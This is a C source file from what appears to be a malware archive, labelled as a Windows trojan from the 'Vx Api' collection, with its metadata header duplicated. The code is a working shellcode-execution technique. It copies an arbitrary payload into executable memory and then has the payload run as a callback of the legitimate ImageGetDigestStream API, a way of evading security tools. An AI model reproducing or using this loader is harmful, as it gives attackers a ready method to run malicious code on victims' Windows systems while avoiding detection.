/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" VOID InvokeImageGetDigestStreamCallbackRoutine(LPVOID lpParameter){ WCHAR DefaultBinaryPath[MAX_PATH * sizeof(WCHAR)] = L"C:\\Windows\\System32\\ntdll.dll"; HANDLE hImage = NULL; HANDLE hDispose = NULL; IMAGEGETDIGESTSTREAM ImageGetDigestStream = NULL; HMODULE hMod = NULL; hMod = LoadLibraryW(L"Imagehlp.dll"); if (hMod == NULL) return; ImageGetDigestStream = (IMAGEGETDIGESTSTREAM)GetProcAddressA((DWORD64)hMod, "ImageGetDigestStream"); if (!ImageGetDigestStream) return; hImage = CreateFileW(DefaultBinaryPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hImage == INVALID_HANDLE_VALUE) return; ImageGetDigestStream(hImage, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, lpParameter, &hDispose); if(hDispose) CloseHandle(hDispose); if(hImage) CloseHandle(hImage);} BOOL MpfSceViaImageGetDigestStream(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes){ LPVOID BinAddress = NULL; BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (BinAddress == NULL) return FALSE; CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeImageGetDigestStreamCallbackRoutine, BinAddress, INFINITE); return TRUE;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
VOID InvokeImageGetDigestStreamCallbackRoutine(LPVOID lpParameter)
{
WCHAR DefaultBinaryPath[MAX_PATH * sizeof(WCHAR)] = L"C:\\Windows\\System32\\ntdll.dll";
HANDLE hImage = NULL;
HANDLE hDispose = NULL;
IMAGEGETDIGESTSTREAM ImageGetDigestStream = NULL;
HMODULE hMod = NULL;
hMod = LoadLibraryW(L"Imagehlp.dll");
if (hMod == NULL)
return;
ImageGetDigestStream = (IMAGEGETDIGESTSTREAM)GetProcAddressA((DWORD64)hMod, "ImageGetDigestStream");
if (!ImageGetDigestStream)
return;
hImage = CreateFileW(DefaultBinaryPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hImage == INVALID_HANDLE_VALUE)
return;
ImageGetDigestStream(hImage, CERT_PE_IMAGE_DIGEST_ALL_IMPORT_INFO, lpParameter, &hDispose);
if(hDispose)
CloseHandle(hDispose);
if(hImage)
CloseHandle(hImage);
}
BOOL MpfSceViaImageGetDigestStream(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeImageGetDigestStreamCallbackRoutine, BinAddress, INFINITE);
return TRUE;
}